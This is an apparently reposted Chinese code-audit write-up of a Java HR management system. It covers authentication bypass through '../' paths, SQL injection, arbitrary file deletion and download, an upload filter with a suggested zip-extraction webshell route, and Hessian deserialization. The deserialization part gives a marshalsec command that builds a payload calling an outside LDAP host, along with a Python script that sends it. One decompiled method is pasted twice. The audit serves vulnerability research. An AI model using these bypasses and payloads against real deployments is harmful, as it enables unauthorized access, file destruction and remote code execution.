文章来源: https://forum.butian.net/share/3109
某人力系统的代码审计
前言
最近看该系统漏洞公开较多,想审计练练手
权限绕过
该系统是由java开发的,查看web.xml看的其定义的过滤器
其过滤器是对全部的api进行拦截,跟进其实现
可以看的var6变量是通过getRequestURI()获取到的路由信息,该方法有理由分号或者../进行绕过的分享。
搜索过滤器放行操作的doFilter方法,最终确定了两个地方有被利用的风险。
if (!this.needCharSecurityFilter(var6)) {
var3.doFilter(var1, var2);
}
else if(var6.startsWith("/w_selfservice/oauthservlet")) {
var3.doFilter(var1, var2);
return;
}
第二处比较明显url以/w_selfservice/oauthservlet开头就放行,所以可以通过/w_selfservice/oauthservlet/../../xxx来绕过访问授权接口。
我们来看看第一个,当this.needCharSecurityFilter()返回为false才能进入if逻辑放行,跟进到该方法
private boolean needCharSecurityFilter(String var1) {
boolean var2 = true;
if (var1.startsWith("/templates/attestation/")) {
return false;
} else if (var1.startsWith("/services/")) {
return false;
} else if (!var1.startsWith("/ext/resources/") && !var1.startsWith("/images/") && !var1.startsWith("/js/")) {
String var3 = var1.substring(var1.lastIndexOf(".") + 1).toLowerCase();
if (!var3.equals("gif") && !var3.equals("bmp") && !var3.equals("jpg") && !var3.equals("js") && !var3.equals("htc") && !var3.equals("ico") && !var3.equals("css") && !var3.equals("cab")) {
if (this.isLogin(var1)) {
return false;
} else {
return var1.startsWith("/iSignatureHTML/") ? false : var2;
}
} else {
return false;
}
} else {
return false;
}
}private boolean needCharSecurityFilter(String var1) {
boolean var2 = true;
if (var1.startsWith("/templates/attestation/")) {
return false;
} else if (var1.startsWith("/services/")) {
return false;
} else if (!var1.startsWith("/ext/resources/") && !var1.startsWith("/images/") && !var1.startsWith("/js/")) {
String var3 = var1.substring(var1.lastIndexOf(".") + 1).toLowerCase();
if (!var3.equals("gif") && !var3.equals("bmp") && !var3.equals("jpg") && !var3.equals("js") && !var3.equals("htc") && !var3.equals("ico") && !var3.equals("css") && !var3.equals("cab")) {
if (this.isLogin(var1)) {
return false;
} else {
return var1.startsWith("/iSignatureHTML/") ? false : var2;
}
} else {
return false;
}
} else {
return false;
}
}
比较简单的就是前两个判断,以/templates/attestation/或者/services/开头都会放行,同理可通过../访问授权接口
SQL注入
该系统定义了数据库连接类AdminDb用于与数据库建立连接,定义了getConnection
方法来返回操作数据库的Connection
对象,通过查看Dao层,每次进行SQL语句执行时都会调用该方法,全局搜索该方法的调用
可以看的有874处调用。这么多调用要怎么筛查呢?
我们可以先搜索有没有直接对整条sql语句进行查询的类。
在利用java的sql库进行sql语句执行时,常常会调用createStatement
来获取Statement对象,再调用其定义的相关方法进行SQL语句执行。比如executeQueryexecuteQuery
或者execute
等。
于是我们可以搜索其调用
找到两处servlet层的调用,随意跟进查看
该servlet主要是获取参数id
和 type
的值,随后对id
的进行解密,根据type
进行不同的表单查询,查看PubFunc.decrypt(SafeCode.decode(var3));
并未发现有对解密参数进行过滤的操作,导致后续解密后直接拼接到语句中。
至于解密算法的研究,外部已有加密算法实现项目:https://github.com/vaycore/HrmsTool/releases/download/0.1/HrmsTool.jar
复现
通过工具对payload进行加密
根据web.xml中的配置获取该类的路由并进行发包
成功触发延时5s。
其他地方应该是由Dao层进行了接口封装,我们回到之前那八百多处AdminDb的构造方法在servlet层调用,发现有好多地方
随便找一个看看是怎么个事
可以看的传入参数a0100和i9999被直接拼接到了语句中,通过调用ContentDAO的search封装方法进行查询。
思路:对于这种自封装数据库连接类的一般系统,可通过上述方法快速找到sql语句执行的地方以便发现SQL注入漏洞。
任意文件删除,下载和残缺的上传
在翻看web.xml时看的一有关上传的servlet,跟进到其doPost方法
要进入最下面的if语句(也就是处理上传逻辑),需要var3或者var4变量为true,而var3是根据session获取的,未授权情况下为null,所以只能看看var4。
var4需要由参数safariORFoxType
决定,根据判断逻辑需要datems参数得到一个时间戳,他的值必须与当前时间戳在两分钟以内,同时safariORFoxType
的值解密为"true",根据加密算法得到"true"为VHPAATTP2HJFPAATTPvSVQquaEPAATTP3HJDPAATTP。
再往下根据deleteflag
的值又分为两种不同的处理分支,当deleteflag=true
时
会进行文件删除,因为未存在对../的过滤导致可以造成任意文件删除。
当其未false会进入下面判断逻辑
当down参数为true时会进行文件下载
注意的是要对filename和path要进行加密。
再往下就是上传的处理,主要关注点在下面这块var15是上传文件名切割后的值
这里是对后缀做了双重检查
public static boolean isFileTypeEqual(InputStream var0, String var1) throws IOException {
String var2 = getFileTypeByHead(var0);
if (StringUtils.isEmpty(var2) && StringUtils.isNotEmpty(var1) && "bmp,jpg,jpeg".indexOf(var1.toLowerCase()) > -1) {
return false;
} else if (!StringUtils.isEmpty(var2) && !"asf".equalsIgnoreCase(var2.toLowerCase())) {
if (StringUtils.isEmpty(var1)) {
return false;
} else {
var1 = var1.toLowerCase();
if (!var2.equals("office03") || !var1.equalsIgnoreCase("doc") && !var1.equalsIgnoreCase("xls") && !var1.equalsIgnoreCase("ppt") && !var1.equalsIgnoreCase("wps") && !var1.equalsIgnoreCase("wpt") && !var1.equalsIgnoreCase("dps") && !var1.equalsIgnoreCase("dpt") && !var1.equalsIgnoreCase("et") && !var1.equalsIgnoreCase("ett")) {
if (!var2.equals("office07") && !var2.equalsIgnoreCase("zip") || !var1.equalsIgnoreCase("docx") && !var1.equalsIgnoreCase("xlsx") && !var1.equalsIgnoreCase("pptx") && !var1.equalsIgnoreCase("wps") && !var1.equalsIgnoreCase("wpt") && !var1.equalsIgnoreCase("dps") && !var1.equalsIgnoreCase("dpt") && !var1.equalsIgnoreCase("et") && !var1.equalsIgnoreCase("ett") && !var1.equalsIgnoreCase("doc")) {
if ("jpg,png,bmp,jpeg".indexOf(var2.toLowerCase()) > -1 && "jpg,png,bmp,jpeg".indexOf(var1.toLowerCase()) > -1) {
return true;
} else if ("rm".equalsIgnoreCase(var2) && var1.toLowerCase().startsWith("rm")) {
return true;
} else {
return !var2.equals("xml") || !var1.equalsIgnoreCase("txt") && !var1.equalsIgnoreCase("rpx") ? var2.equalsIgnoreCase(var1) : true;
}
} else {
return true;
}
} else {
return true;
}
}
} else {
return true;
}
}
不在上述名单里的后缀会进入if逻辑返回:文件上传失败!您上传的文件为非法文件!
思路:像这种对白名单进行过滤,可以上传压缩包,通过寻找解压的地方要是对路径和后缀为过滤可以构造目录穿越的jsp文件进行解压释放webshell,达到任意上传的效果。
反序列化
在查看lib中依赖是看的低版本的hessian.jar
寻找可能的触发点,一般都是继承自com.caucho.hessian.server.HessianServlet
,在service
方法中调用invoke方法造成反序列化,具体的分析可以查看su18师傅的博客
该系统是直接在web.xml
里注册了com.caucho.hessian.server.HessianServlet
路由
复现
首先生成反序列化数据
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor ldap://bbshuwzyse.dgrh3.cn/ > hessian
编写python脚本发包
import requests
import argparse
def send(url,payload):
proxies = {'http':'127.0.0.1:8080'}
headers={'Content-Type':'x-application/hessian'}
data=payload
res=requests.post(url,headers=headers,data=data,proxies=proxies)
return res.text
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian")
parser.add_argument("-p",help="payload file")
args = parser.parse_args()
if args.u==None or args.p==None:
print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian')
else:
send(args.u, load(args.p))
if __name__ == '__main__':
main()
#load('hessian')
执行命令
python hessian.py -u http://127.0.0.1:8080/hessianservlet -p hessian
dnslog成功响应
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):某人力系统的代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论